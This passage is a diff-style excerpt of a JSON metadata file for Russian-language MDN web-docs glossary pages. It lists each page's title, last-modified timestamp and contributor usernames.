- },
- "Контроль_качества": {
- "modified": "2019-01-16T14:03:27.006Z",
- "contributors": [
- "Hypante"
- ]
- },
- "Локализация": {
- "modified": "2019-01-16T14:53:07.899Z",
- "contributors": [
- "Sheppy",
- "sM1Le",
- "glukin"
- ]
- },
- "Настройка_среды_разработки_расширений": {
- "modified": "2019-03-24T00:02:36.376Z",
- "contributors": [
- "alikkille",
- "teoli",
- "fscholz",
- "Yozh88"
- ]
- },
- "Об_объектной_модели_документа": {
- "modified": "2019-06-25T10:49:44.957Z",
- "contributors": [
- "d.zheleznov",
- "cognitive-cake",
- "runicelf",
- "Megapotz"
- ]
- },
- "Переход_с_Internet_Explorer_на_Mozilla": {
- "modified": "2019-01-16T15:00:06.072Z",
- "contributors": [
- "karasiov",
- "Yura",
- "Naterera"
- ]
- },
- "Сборка_и_установка": {
- "modified": "2019-03-24T00:05:30.187Z",
- "contributors": [
- "Protopopulus"
- ]
- },
- "Словарь": {
- "modified": "2020-10-07T11:13:45.197Z",
- "contributors": [
- "peterbe",
- "SphinxKnight",
- "wbamberg",
- "BychekRU",
- "abldi",
- "MuradAz",
- "Aleksej",
- "Sheppy",
- "teoli"
- ]
- },
- "Словарь/404": {
- "modified": "2019-03-23T22:13:48.343Z",
- "contributors": [
- "cotolany",
- "nudaworks"
- ]
- },
- "Словарь/502": {
- "modified": "2019-03-18T21:41:50.347Z",
- "contributors": [
- "gadjetron"
- ]
- },
- "Словарь/AJAX": {
- "modified": "2020-10-30T05:21:31.612Z",
- "contributors": [
- "ksam",
- "duckDominatrix",
- "T1mL3arn",
- "ifantom",
- "mpetrikov",
- "gudkovdanila",
- "veselik",
- "nikokosh"
- ]
- },
- "Словарь/API": {
- "modified": "2020-10-30T06:23:36.856Z",
- "contributors": [
- "ksam",
- "DashPisareva",
- "nikitaermishin",
- "Severno"
- ]
- },
- "Словарь/ARIA": {
- "modified": "2019-04-09T10:19:16.954Z",
- "contributors": [
- "JCodeg",
- "bsergey"
- ]
- },
- "Словарь/ARPA": {
- "modified": "2019-03-18T21:25:48.447Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Словарь/ASCII": {
- "modified": "2019-03-18T21:40:49.201Z",
- "contributors": [
- "ValeriiBoiko"
- ]
- },
- "Словарь/ATAG": {
- "modified": "2019-03-18T21:25:01.427Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Словарь/Abstraction": {
- "modified": "2019-03-23T22:51:57.044Z",
- "contributors": [
- "alitskevich",
- "davidof"
- ]
- },
- "Словарь/Adobe-Flash": {
- "modified": "2019-03-23T22:16:01.660Z",
- "contributors": [
- "ifantom"
- ]
- },
- "Словарь/Algorithm": {
- "modified": "2019-11-23T15:11:34.488Z",
- "contributors": [
- "Igor-Sangin",
- "boxa6",
- "ifantom"
- ]
- },
- "Словарь/Apple_Safari": {
- "modified": "2019-03-23T22:09:03.834Z",
- "contributors": [
- "bsergey",
- "pgooood"
- ]
- },
- "Словарь/Arpanet": {
- "modified": "2019-03-18T21:25:16.563Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Словарь/Asynchronous": {
- "modified": "2019-03-18T21:40:41.315Z",
- "contributors": [
- "jeniasaigak",
- "ValeriiBoiko"
- ]
- },
- "Словарь/Bandwidth": {
- "modified": "2019-03-23T22:06:46.461Z",
- "contributors": [
- "Morjodrom"
- ]
- },
- "Словарь/BiDi": {
- "modified": "2019-03-18T21:25:00.810Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Словарь/BigInt": {
- "modified": "2020-08-27T06:12:45.928Z",
- "contributors": [
- "DarkExodusXX",
- "maksakova"
- ]
- },
- "Словарь/Blink": {
- "modified": "2019-03-18T20:43:00.706Z",
- "contributors": [
- "Frisle"
- ]
- },
- "Словарь/Boolean": {
- "modified": "2020-05-05T17:38:43.691Z",
- "contributors": [
- "Thr0TT1e",
- "ekirpichyov",
- "Anna-Myzukina",
- "perioad",
- "Shankshel",
- "boxa6",
- "Sheppy",
- "jaguardev"
- ]
- },
- "Словарь/Bootstrap": {
- "modified": "2020-10-30T10:23:10.825Z",
- "contributors": [
- "ksam"
- ]
- },
- "Словарь/Browser": {
- "modified": "2019-03-23T22:40:32.512Z",
- "contributors": [
- "anastasiya-solodkaya",
- "AlexandrKalaidzhi",
- "tronov",
- "MuradAz"
- ]
- },
- "Словарь/Browsing_context": {
- "modified": "2019-03-23T22:17:49.487Z",
- "contributors": [
- "anastasiya-solodkaya"
- ]
- },
- "Словарь/Bézier_curve": {
- "modified": "2019-08-19T18:48:29.930Z",
- "contributors": [
- "regeneratorl"
- ]
- },
- "Словарь/CDN": {
- "modified": "2019-07-08T10:40:37.612Z",
- "contributors": [
- "LesikTheCat"
- ]
- },
- "Словарь/CMS": {
- "modified": "2019-03-23T22:17:50.404Z",
- "contributors": [
- "anastasiya-solodkaya"
- ]
- },
- "Словарь/CORS": {
- "modified": "2019-03-18T21:01:16.414Z",
- "contributors": [
- "ruslan.khaertdinov",
- "anastasiya-solodkaya"
- ]
- },
- "Словарь/CRLF": {
- "modified": "2019-03-18T21:18:06.376Z",
- "contributors": [
- "alexbs"
- ]
- },
- "Словарь/CSP": {
- "modified": "2020-03-11T16:49:32.227Z",
- "contributors": [
- "almaceleste"
- ]
- },
- "Словарь/CSRF": {
- "modified": "2019-03-23T22:17:52.593Z",
- "contributors": [
- "anastasiya-solodkaya"
- ]
- },
- "Словарь/CSS": {
- "modified": "2020-11-27T18:16:28.046Z",
- "contributors": [
- "robert491",
- "boxa6",
- "andreybakhishev",
- "oleg3280",
- "AlexandrKalaidzhi"
- ]
- },
- "Словарь/CSS_Selector": {
- "modified": "2020-12-07T13:33:11.621Z",
- "contributors": [
- "kucherenkoag",
- "DashPisareva"
- ]
- },
- "Словарь/CSS_preprocessor": {
- "modified": "2019-03-26T02:52:52.000Z",
- "contributors": [
- "boxa6",
- "bazoooker"
- ]
- },
- "Словарь/Call_stack": {
- "modified": "2019-03-26T03:35:33.245Z",
- "contributors": [
- "boxa6",
- "Dimas-X",
- "Iroshh"
- ]
- },
- "Словарь/Canvas": {
- "modified": "2019-03-18T21:33:34.116Z",
- "contributors": [
- "Lana-Light"
- ]
- },
- "Словарь/Card_sorting": {
- "modified": "2019-09-13T15:24:23.423Z",
- "contributors": [
- "maXimusIsMyName",
- "nova-k"
- ]
- },
- "Словарь/Character": {
- "modified": "2019-03-26T03:36:39.039Z",
- "contributors": [
- "boxa6"
- ]
- },
- "Словарь/Chrome": {
- "modified": "2019-01-16T20:45:50.537Z",
- "contributors": [
- "Aleksej"
- ]
- },
- "Словарь/Class": {
- "modified": "2019-03-23T22:50:33.763Z",
- "contributors": [
- "ezekeli",
- "scanick"
- ]
- },
- "Словарь/Codec": {
- "modified": "2019-06-20T09:27:20.089Z",
- "contributors": [
- "CS313"
- ]
- },
- "Словарь/Compile": {
- "modified": "2020-08-27T07:13:45.873Z",
- "contributors": [
- "DarkExodusXX"
- ]
- },
- "Словарь/Computer_Programming": {
- "modified": "2020-02-28T20:10:24.813Z",
- "contributors": [
- "almaceleste"
- ]
- },
- "Словарь/Conditional": {
- "modified": "2020-02-28T19:51:16.047Z",
- "contributors": [
- "almaceleste"
- ]
- },
- "Словарь/Constructor": {
- "modified": "2019-03-18T21:40:38.410Z",
- "contributors": [
- "ValeriiBoiko"
- ]
- },
- "Словарь/Cookie": {
- "modified": "2019-03-23T22:19:39.272Z",
- "contributors": [
- "anastasiya-solodkaya",
- "smkoyan"
- ]
- },
- "Словарь/Copyleft": {
- "modified": "2019-08-22T15:17:45.253Z",
- "contributors": [
- "regeneratorl"
- ]
- },
- "Словарь/Crawler": {
- "modified": "2019-10-16T05:50:09.685Z",
- "contributors": [
- "e-h-h"
- ]
- },
- "Словарь/DNS": {
- "modified": "2019-07-09T20:05:30.988Z",
- "contributors": [
- "fuggy"
- ]
- },
- "Словарь/DOM": {
- "modified": "2019-03-23T22:40:33.690Z",
- "contributors": [
- "tronov",
- "MuradAz"
- ]
- },
- "Словарь/DOS_attack": {
- "modified": "2019-08-14T18:10:26.015Z",
- "contributors": [
- "Newage3018"
- ]
- },
- "Словарь/Doctype": {
- "modified": "2019-10-20T09:56:23.239Z",
- "contributors": [
- "alexbs",
- "gogumaUno"
- ]
- },
- "Словарь/Domain_name": {
- "modified": "2019-03-18T21:25:39.712Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Словарь/Dynamic_programming_language": {
- "modified": "2019-03-23T22:22:41.086Z",
- "contributors": [
- "pust0ta",
- "thecodecreator"
- ]
- },
- "Словарь/ECMA": {
- "modified": "2019-03-23T22:26:58.025Z",
- "contributors": [
- "anastasiya-solodkaya",
- "werreour"
- ]
- },
- "Словарь/ECMAScript": {
- "modified": "2019-03-23T22:03:14.516Z",
- "contributors": [
- "4erty"
- ]
- },
- "Словарь/Empty_element": {
- "modified": "2020-06-17T07:35:47.736Z",
- "contributors": [
- "fuggy",
- "Sheppy",
- "Aleksej"
- ]
- },
- "Словарь/Encapsulation": {
- "modified": "2019-10-15T17:04:32.904Z",
- "contributors": [
- "duckDominatrix"
- ]
- },
- "Словарь/Entity_header": {
- "modified": "2020-03-13T19:29:42.150Z",
- "contributors": [
- "fuggy",
- "opereverzeva"
- ]
- },
- "Словарь/Expando": {
- "modified": "2019-03-23T22:25:14.834Z",
- "contributors": [
- "Chamie",
- "Aksana-Tsishchanka"
- ]
- },
- "Словарь/FPS": {
- "modified": "2019-11-19T15:47:44.839Z",
- "contributors": [
- "Antosik"
- ]
- },
- "Словарь/FTP": {
- "modified": "2019-03-23T22:56:50.644Z",
- "contributors": [
- "Aleksej"
- ]
- },
- "Словарь/Falsy": {
- "modified": "2020-02-29T14:01:11.239Z",
- "contributors": [
- "almaceleste",
- "Anna-Myzukina"
- ]
- },
- "Словарь/First-class_Function": {
- "modified": "2019-03-23T22:26:14.132Z",
- "contributors": [
- "s1lver",
- "B0dya",
- "pk.prog"
- ]
- },
- "Словарь/First_CPU_idle": {
- "modified": "2019-11-20T05:48:47.023Z",
- "contributors": [
- "Antosik"
- ]
- },
- "Словарь/First_contentful_paint": {
- "modified": "2019-11-20T05:40:40.814Z",
- "contributors": [
- "Antosik"
- ]
- },
- "Словарь/First_input_delay": {
- "modified": "2020-11-29T12:51:47.015Z",
- "contributors": [
- "BehemothOz",
- "Antosik"
- ]
- },
- "Словарь/First_interactive": {
- "modified": "2019-11-20T05:51:30.233Z",
- "contributors": [
- "Antosik"
- ]
- },
- "Словарь/First_paint": {
- "modified": "2019-11-20T05:44:29.012Z",
- "contributors": [
- "Antosik"
- ]
- },
- "Словарь/Flex_Item": {
- "modified": "2020-03-08T07:29:42.816Z",
- "contributors": [
- "Radragon"
- ]
- },
- "Словарь/Flexbox": {
- "modified": "2019-03-18T21:33:55.150Z",
- "contributors": [
- "b.zvyagintsev"
- ]
- },
- "Словарь/Forbidden_header_name": {
- "modified": "2020-11-27T14:27:47.971Z",
- "contributors": [
- "robert491",
- "Alex90",
- "crabovwik",
- "JeanPaulLucien"
- ]
- },
- "Словарь/Gecko": {
- "modified": "2019-03-23T22:25:29.241Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "Словарь/General_header": {
- "modified": "2020-11-27T15:28:54.047Z",
- "contributors": [
- "robert491",
- "Sergey.Terekhin"
- ]
- },
- "Словарь/Git": {
- "modified": "2019-07-13T19:51:02.847Z",
- "contributors": [
- "fuggy",
- "4erty"
- ]
- },
- "Словарь/Global_object": {
- "modified": "2020-01-11T18:59:38.482Z",
- "contributors": [
- "Kiryhas"
- ]
- },
- "Словарь/Grid": {
- "modified": "2019-09-25T00:37:08.781Z",
- "contributors": [
- "Zver64",
- "boxa6",
- "Paul_Yuhnovich"
- ]
- },
- "Словарь/Grid_Column": {
- "modified": "2019-09-25T10:04:35.112Z",
- "contributors": [
- "ekirpichyov",
- "albinasakhabutdinova"
- ]
- },
- "Словарь/HTML": {
- "modified": "2020-10-30T06:06:49.972Z",
- "contributors": [
- "ksam",
- "boxa6",
- "oleg3280",
- "Ananasovich",
- "Rod1on",
- "NerRox",
- "talgautb"
- ]
- },
- "Словарь/HTML5": {
- "modified": "2019-03-23T11:50:58.551Z",
- "contributors": [
- "JCodeg",
- "oleg3280",
- "VEDigit"
- ]
- },
- "Словарь/HTTP": {
- "modified": "2019-11-07T07:41:21.870Z",
- "contributors": [
- "duckDominatrix",
- "gadjetron",
- "MuradAz"
- ]
- },
- "Словарь/HTTP_2": {
- "modified": "2019-11-06T06:45:14.792Z",
- "contributors": [
- "duckDominatrix",
- "e-h-h"
- ]
- },
- "Словарь/Host": {
- "modified": "2019-03-18T20:56:13.920Z",
- "contributors": [
- "iamvector"
- ]
- },
- "Словарь/IANA": {
- "modified": "2019-03-18T21:36:56.523Z",
- "contributors": [
- "pavelkarinin"
- ]
- },
- "Словарь/ICANN": {
- "modified": "2019-03-18T21:36:45.102Z",
- "contributors": [
- "pavelkarinin"
- ]
- },
- "Словарь/IETF": {
- "modified": "2020-10-30T04:28:05.922Z",
- "contributors": [
- "ksam"
- ]
- },
- "Словарь/IIFE": {
- "modified": "2019-08-02T04:11:30.483Z",
- "contributors": [
- "alexbutav",
- "zavsievich",
- "Hiker-Hope",
- "anastasiya-solodkaya",
- "TheodoreChe",
- "c01nd01r"
- ]
- },
- "Словарь/IP_Address": {
- "modified": "2019-03-18T21:27:42.696Z",
- "contributors": [
- "Luboshenko"
- ]
- },
- "Словарь/ISO": {
- "modified": "2020-10-30T04:04:18.482Z",
- "contributors": [
- "ksam"
- ]
- },
- "Словарь/Idempotent": {
- "modified": "2020-08-24T16:46:00.432Z",
- "contributors": [
- "dev4lex",
- "snizh",
- "pk.prog"
- ]
- },
- "Словарь/Identifier": {
- "modified": "2019-03-23T22:20:02.500Z",
- "contributors": [
- "mlilin",
- "Kaliukhovich"
- ]
- },
- "Словарь/IndexedDB": {
- "modified": "2020-09-25T14:17:01.625Z",
- "contributors": [
- "swimmwatch"
- ]
- },
- "Словарь/Information_architecture": {
- "modified": "2019-07-02T10:04:49.702Z",
- "contributors": [
- "wizardbil"
- ]
- },
- "Словарь/Internet": {
- "modified": "2019-06-17T12:53:37.150Z",
- "contributors": [
- "kss555",
- "bsergey"
- ]
- },
- "Словарь/JSON": {
- "modified": "2019-01-17T00:40:57.677Z",
- "contributors": [
- "ezekeli"
- ]
- },
- "Словарь/Java": {
- "modified": "2019-08-04T18:12:34.992Z",
- "contributors": [
- "angelhearted"
- ]
- },
- "Словарь/JavaScript": {
- "modified": "2020-10-30T03:58:08.340Z",
- "contributors": [
- "ksam",
- "ekirpichyov",
- "JCodeg",
- "boxa6",
- "aleshkanet",
- "oleg3280",
- "MuradAz",
- "silentwasd",
- "Sheppy",
- "Vovchikb6"
- ]
- },
- "Словарь/MIME_type": {
- "modified": "2020-04-21T12:17:26.839Z",
- "contributors": [
- "an5000",
- "elvin666666",
- "margaritashvetsov",
- "ilia-valchenko"
- ]
- },
- "Словарь/Main_Axis": {
- "modified": "2020-05-21T13:03:11.807Z",
- "contributors": [
- "HImichun"
- ]
- },
- "Словарь/MathML": {
- "modified": "2019-03-18T21:19:08.526Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Словарь/Method": {
- "modified": "2020-10-30T06:40:44.910Z",
- "contributors": [
- "ksam"
- ]
- },
- "Словарь/Microsoft_Internet_Explorer": {
- "modified": "2019-03-18T21:41:51.997Z",
- "contributors": [
- "djigach"
- ]
- },
- "Словарь/Mixin": {
- "modified": "2020-04-09T10:41:29.634Z",
- "contributors": [
- "Drrragonica"
- ]
- },
- "Словарь/Node.js": {
- "modified": "2019-03-23T22:28:12.455Z",
- "contributors": [
- "tim-zh",
- "nikokosh"
- ]
- },
- "Словарь/Null": {
- "modified": "2020-03-23T08:30:22.000Z",
- "contributors": [
- "wentout",
- "tim-zh"
- ]
- },
- "Словарь/Number": {
- "modified": "2019-03-23T22:59:57.277Z",
- "contributors": [
- "Sheppy",
- "jaguardev"
- ]
- },
- "Словарь/OOP": {
- "modified": "2019-03-18T21:40:42.132Z",
- "contributors": [
- "ValeriiBoiko"
- ]
- },
- "Словарь/Object": {
- "modified": "2019-03-23T22:22:47.659Z",
- "contributors": [
- "bsergey",
- "haacki47"
- ]
- },
- "Словарь/OpenGL": {
- "modified": "2019-11-14T05:58:50.039Z",
- "contributors": [
- "ClaS1k"
- ]
- },
- "Словарь/PHP": {
- "modified": "2019-04-14T04:44:20.115Z",
- "contributors": [
- "MDReal32",
- "kirill001"
- ]
- },
- "Словарь/Pixel": {
- "modified": "2019-03-25T09:54:05.591Z",
- "contributors": [
- "boxa6"
- ]
- },
- "Словарь/Polymorphism": {
- "modified": "2019-10-14T05:46:10.620Z",
- "contributors": [
- "duckDominatrix"
- ]
- },
- "Словарь/Primitive": {
- "modified": "2020-02-16T08:27:27.366Z",
- "contributors": [
- "vitaminX",
- "bsergey",
- "aleks43"
- ]
- },
- "Словарь/Progressive_web_apps": {
- "modified": "2020-10-23T07:12:55.057Z",
- "contributors": [
- "ksam"
- ]
- },
- "Словарь/Promise": {
- "modified": "2019-05-15T10:24:56.596Z",
- "contributors": [
- "Mashka241"
- ]
- },
- "Словарь/Prototype-based_programming": {
- "modified": "2019-01-16T23:59:58.315Z",
- "contributors": [
- "kulakowka",
- "SedovDP",
- "pk.prog"
- ]
- },
- "Словарь/Pseudo-element": {
- "modified": "2019-03-18T21:09:36.141Z",
- "contributors": [
- "Mashka241"
- ]
- },
- "Словарь/Pseudocode": {
- "modified": "2020-11-25T09:22:15.778Z",
- "contributors": [
- "tetragidrohlorid",
- "ConstantineZz"
- ]
- },
- "Словарь/Reflow": {
- "modified": "2020-06-05T09:05:27.984Z",
- "contributors": [
- "ArturBasak"
- ]
- },
- "Словарь/Regular_expression": {
- "modified": "2019-04-18T02:00:21.122Z",
- "contributors": [
- "eXcuteD"
- ]
- },
- "Словарь/Request_header": {
- "modified": "2020-03-13T19:20:00.006Z",
- "contributors": [
- "fuggy",
- "andrewtk"
- ]
- },
- "Словарь/Responsive_web_design": {
- "modified": "2019-03-18T21:43:12.877Z",
- "contributors": [
- "KirilSlender"
- ]
- },
- "Словарь/Round_Trip_Time_(RTT)": {
- "modified": "2019-11-20T06:08:45.669Z",
- "contributors": [
- "Antosik"
- ]
- },
- "Словарь/SDP": {
- "modified": "2019-07-26T09:45:49.928Z",
- "contributors": [
- "Geloosa"
- ]
- },
- "Словарь/SEO": {
- "modified": "2019-03-23T22:03:24.051Z",
- "contributors": [
- "dictor93"
- ]
- },
- "Словарь/SGML": {
- "modified": "2020-10-30T05:53:44.653Z",
- "contributors": [
- "ksam"
- ]
- },
- "Словарь/SVG": {
- "modified": "2019-03-18T21:43:05.908Z",
- "contributors": [
- "KirilSlender"
- ]
- },
- "Словарь/Scroll_container": {
- "modified": "2020-04-24T15:33:30.579Z",
- "contributors": [
- "hisbvdis"
- ]
- },
- "Словарь/Self-Executing_Anonymous_Function": {
- "modified": "2019-03-18T21:20:03.779Z",
- "contributors": [
- "Hiker-Hope"
- ]
- },
- "Словарь/Semantics": {
- "modified": "2020-05-29T09:05:50.440Z",
- "contributors": [
- "mriabokliach",
- "EternalCosmos"
- ]
- },
- "Словарь/Server": {
- "modified": "2020-08-16T17:59:50.094Z",
- "contributors": [
- "bogatayabaza"
- ]
- },
- "Словарь/Simple_response_header": {
- "modified": "2020-04-06T22:27:29.080Z",
- "contributors": [
- "sivackovan"
- ]
- },
- "Словарь/Sloppy_mode": {
- "modified": "2019-01-17T00:16:18.150Z",
- "contributors": [
- "anastasiya-solodkaya",
- "pk.prog"
- ]
- },
- "Словарь/Specification": {
- "modified": "2019-03-23T22:19:46.992Z",
- "contributors": [
- "gogumaUno",
- "anastasiya-solodkaya",
- "JeanPaulLucien"
- ]
- },
- "Словарь/Symbol": {
- "modified": "2019-03-23T22:08:34.792Z",
- "contributors": [
- "4opper",
- "yanakey",
- "GRIDARK",
- "animhotep",
- "neutral"
- ]
- },
- "Словарь/TCP": {
- "modified": "2020-03-13T16:54:36.615Z",
- "contributors": [
- "fuggy",
- "michael_v92"
- ]
- },
- "Словарь/TLS": {
- "modified": "2019-03-18T20:53:40.382Z",
- "contributors": [
- "vadjradanta"
- ]
- },
- "Словарь/Time_to_interactive": {
- "modified": "2019-11-20T05:58:04.636Z",
- "contributors": [
- "Antosik"
- ]
- },
- "Словарь/Truthy": {
- "modified": "2020-08-31T04:11:21.430Z",
- "contributors": [
- "Dvash",
- "almaceleste",
- "Anna-Myzukina"
- ]
- },
- "Словарь/Type": {
- "modified": "2020-03-23T07:29:25.211Z",
- "contributors": [
- "wentout",
- "almaceleste"
- ]
- },
- "Словарь/Type_Conversion": {
- "modified": "2020-02-29T13:57:43.565Z",
- "contributors": [
- "almaceleste"
- ]
- },
- "Словарь/Type_coercion": {
- "modified": "2020-02-29T11:20:13.549Z",
- "contributors": [
- "almaceleste"
- ]
- },
- "Словарь/UI": {
- "modified": "2019-03-31T19:21:03.782Z",
- "contributors": [
- "niktariy",
- "boxa6"
- ]
- },
- "Словарь/URL": {
- "modified": "2019-03-23T22:09:11.858Z",
- "contributors": [
- "djigach",
- "gadjetron",
- "s-mage"
- ]
- },
- "Словарь/User_agent": {
- "modified": "2019-04-09T06:22:31.182Z",
- "contributors": [
- "JCodeg",
- "fidelman",
- "while0pass"
- ]
- },
- "Словарь/Variable": {
- "modified": "2019-03-23T22:22:44.135Z",
- "contributors": [
- "thecodecreator"
- ]
- },
- "Словарь/Vendor_Prefix": {
- "modified": "2020-06-20T15:20:37.026Z",
- "contributors": [
- "bushuevky"
- ]
- },
- "Словарь/Viewport": {
- "modified": "2019-09-13T09:25:23.206Z",
- "contributors": [
- "deex_iv",
- "ozil07"
- ]
- },
- "Словарь/W3C": {
- "modified": "2019-03-23T22:19:42.916Z",
- "contributors": [
- "JeanPaulLucien"
- ]
- },
- "Словарь/WAI": {
- "modified": "2019-03-18T20:56:13.772Z",
- "contributors": [
- "iamvector"
- ]
- },
- "Словарь/WHATWG": {
- "modified": "2019-07-07T09:42:47.815Z",
- "contributors": [
- "fuggy"
- ]
- },
- "Словарь/WebKit": {
- "modified": "2020-10-10T22:56:31.647Z",
- "contributors": [
- "tz4678",
- "Madihander"
- ]
- },
- "Словарь/WebSockets": {
- "modified": "2020-03-13T16:54:50.064Z",
- "contributors": [
- "fuggy",
- "Sheppy",
- "Pavel69"
- ]
- },
- "Словарь/World_Wide_Web": {
- "modified": "2019-04-10T12:11:00.638Z",
- "contributors": [
- "JCodeg",
- "boxa6"
- ]
- },
- "Словарь/Wrapper": {
- "modified": "2019-03-23T22:19:46.418Z",
- "contributors": [
- "smkoyan"
- ]
- },
- "Словарь/XHR_(XMLHttpRequest)": {
- "modified": "2020-10-27T09:22:04.704Z",
- "contributors": [
- "duckDominatrix"
- ]
- },
- "Словарь/XHTML": {
- "modified": "2019-03-24T00:04:41.651Z",
- "contributors": [
- "Sheppy",
- "teoli",
- "shaman"
- ]
- },
- "Словарь/XML": {
- "modified": "2019-03-26T03:12:53.364Z",
- "contributors": [
- "boxa6",
- "Houstton"
- ]
- },
- "Словарь/application_context": {
- "modified": "2019-03-18T21:33:46.218Z",
- "contributors": [
- "bsergey",
- "Lana-Light"
- ]
- },
- "Словарь/baseline": {
- "modified": "2020-08-27T06:37:10.071Z",
- "contributors": [
- "DarkExodusXX"
- ]
- },
- "Словарь/cacheable": {
- "modified": "2019-03-23T22:25:05.632Z",
- "contributors": [
- "vykulakov",
- "pk.prog"
- ]
- },
- "Словарь/character_encoding": {
- "modified": "2019-11-23T10:06:58.821Z",
- "contributors": [
- "Igor-Sangin"
- ]
- },
- "Словарь/data_structure": {
- "modified": "2019-03-23T22:40:22.188Z",
- "contributors": [
- "alitskevich"
- ]
- },
- "Словарь/event": {
- "modified": "2019-08-19T18:18:09.165Z",
- "contributors": [
- "regeneratorl"
- ]
- },
- "Словарь/first_meaningful_paint": {
- "modified": "2019-11-19T16:13:59.472Z",
- "contributors": [
- "Antosik"
- ]
- },
- "Словарь/global_variable": {
- "modified": "2019-06-28T05:46:29.060Z",
- "contributors": [
- "OlehRula"
- ]
- },
- "Словарь/https": {
- "modified": "2019-01-17T02:14:25.160Z",
- "contributors": [
- "bazoooker",
- "dzandut"
- ]
- },
- "Словарь/jQuery": {
- "modified": "2020-11-17T03:47:58.520Z",
- "contributors": [
- "SphinxKnight",
- "annamolodcova1909",
- "Sparks"
- ]
- },
- "Словарь/jpeg": {
- "modified": "2019-03-18T21:38:25.986Z",
- "contributors": [
- "kayablue"
- ]
- },
- "Словарь/loop": {
- "modified": "2020-02-28T13:59:22.366Z",
- "contributors": [
- "almaceleste"
- ]
- },
- "Словарь/origin": {
- "modified": "2019-03-23T22:19:26.751Z",
- "contributors": [
- "Angelskih"
- ]
- },
- "Словарь/privileged_code": {
- "modified": "2019-03-23T22:25:30.067Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "Словарь/property": {
- "modified": "2019-03-23T22:15:35.268Z",
- "contributors": [
- "mlilin"
- ]
- },
- "Словарь/safe": {
- "modified": "2020-08-24T16:48:10.493Z",
- "contributors": [
- "dev4lex",
- "InfinityBuddha",
- "serhii73",
- "pk.prog"
- ]
- },
- "Словарь/time_to_first_byte": {
- "modified": "2019-11-20T06:03:31.278Z",
- "contributors": [
- "Antosik"
- ]
- },
- "Словарь/undefined": {
- "modified": "2019-03-23T22:59:57.929Z",
- "contributors": [
- "Sheppy",
- "jaguardev"
- ]
- },
- "Словарь/Аргумент": {
- "modified": "2019-05-03T12:07:33.735Z",
- "contributors": [
- "Lana-Light"
- ]
- },
- "Словарь/Атрибут": {
- "modified": "2019-01-16T23:17:06.806Z",
- "contributors": [
- "anastasiya-solodkaya",
- "nikokosh"
- ]
- },
- "Словарь/Буфер": {
- "modified": "2019-03-18T21:38:54.270Z",
- "contributors": [
- "PavelVolkovRussia",
- "ivan-krot"
- ]
- },
- "Словарь/Выражение": {
- "modified": "2019-03-23T22:35:20.625Z",
- "contributors": [
- "DashPisareva",
- "tronov",
- "BychekRU"
- ]
- },
- "Словарь/Высокоуровневый_язык_программированияprogramming_language": {
- "modified": "2020-01-06T03:30:38.101Z",
- "contributors": [
- "LesikTheCat"
- ]
- },
- "Словарь/Гипертекст": {
- "modified": "2019-03-18T21:41:54.496Z",
- "contributors": [
- "gadjetron"
- ]
- },
- "Словарь/Дешифрование": {
- "modified": "2019-03-18T20:41:22.238Z",
- "contributors": [
- "Frisle"
- ]
- },
- "Словарь/Домен": {
- "modified": "2019-03-23T22:20:15.133Z",
- "contributors": [
- "richandhandsomeman"
- ]
- },
- "Словарь/Доступность": {
- "modified": "2019-03-23T22:16:03.534Z",
- "contributors": [
- "iamvector",
- "ifantom"
- ]
- },
- "Словарь/Заголовок": {
- "modified": "2019-03-18T21:25:04.199Z",
- "contributors": [
- "AlexeyIoffe"
- ]
- },
- "Словарь/Запрещённое_имя_заголовка_ответа": {
- "modified": "2019-03-18T21:30:41.483Z",
- "contributors": [
- "crabovwik"
- ]
- },
- "Словарь/Инструменты_разработчика": {
- "modified": "2019-03-18T21:46:30.400Z",
- "contributors": [
- "bazoooker"
- ]
- },
- "Словарь/Интернет-провайдер": {
- "modified": "2019-03-18T21:16:47.489Z",
- "contributors": [
- "skapesec"
- ]
- },
- "Словарь/КЦД": {
- "modified": "2019-03-23T22:06:38.806Z",
- "contributors": [
- "Morjodrom"
- ]
- },
- "Словарь/Константа": {
- "modified": "2019-03-23T22:04:38.615Z",
- "contributors": [
- "JorJeG"
- ]
- },
- "Словарь/Кэш": {
- "modified": "2019-05-20T15:27:57.334Z",
- "contributors": [
- "vanjacksing"
- ]
- },
- "Словарь/Массив": {
- "modified": "2020-01-06T03:28:26.834Z",
- "contributors": [
- "LesikTheCat",
- "sashakrauzer",
- "Cyganov"
- ]
- },
- "Словарь/Метаданные": {
- "modified": "2019-03-18T21:23:05.612Z",
- "contributors": [
- "SoMuchEffort"
- ]
- },
- "Словарь/Поднятие": {
- "modified": "2019-03-23T22:28:46.641Z",
- "contributors": [
- "ArtyomResh",
- "boldyrev-d",
- "anastasiya-solodkaya",
- "shkarlet",
- "AlexKhram"
- ]
- },
- "Словарь/Порт": {
- "modified": "2019-03-23T22:26:53.058Z",
- "contributors": [
- "tim-zh"
- ]
- },
- "Словарь/Пробельные_символы": {
- "modified": "2019-04-29T04:51:03.174Z",
- "contributors": [
- "sergey.bannikov"
- ]
- },
- "Словарь/Прокси_сервер": {
- "modified": "2020-10-29T15:29:38.405Z",
- "contributors": [
- "Rams3ska"
- ]
- },
- "Словарь/Простой_заголовок": {
- "modified": "2019-03-18T21:32:57.580Z",
- "contributors": [
- "Skinny-Hunter"
- ]
- },
- "Словарь/Протокол": {
- "modified": "2019-03-18T21:36:48.161Z",
- "contributors": [
- "reksar"
- ]
- },
- "Словарь/Прототип": {
- "modified": "2019-03-23T22:22:22.879Z",
- "contributors": [
- "cezsored"
- ]
- },
- "Словарь/Сертифицировано": {
- "modified": "2019-03-18T20:41:22.573Z",
- "contributors": [
- "Frisle"
- ]
- },
- "Словарь/Синхронный": {
- "modified": "2020-09-18T11:00:03.984Z",
- "contributors": [
- "victortemnov",
- "jeniasaigak"
- ]
- },
- "Словарь/Статическая_типизация": {
- "modified": "2019-08-04T18:24:12.862Z",
- "contributors": [
- "angelhearted"
- ]
- },
- "Словарь/Строка": {
- "modified": "2019-03-23T22:43:22.623Z",
- "contributors": [
- "anastasiya-solodkaya",
- "arturparkhisenko"
- ]
- },
- "Словарь/Сущности": {
- "modified": "2019-04-29T04:00:32.874Z",
- "contributors": [
- "sergey.bannikov"
- ]
- },
- "Словарь/Тег": {
- "modified": "2019-03-23T22:18:08.637Z",
- "contributors": [
- "skapesec",
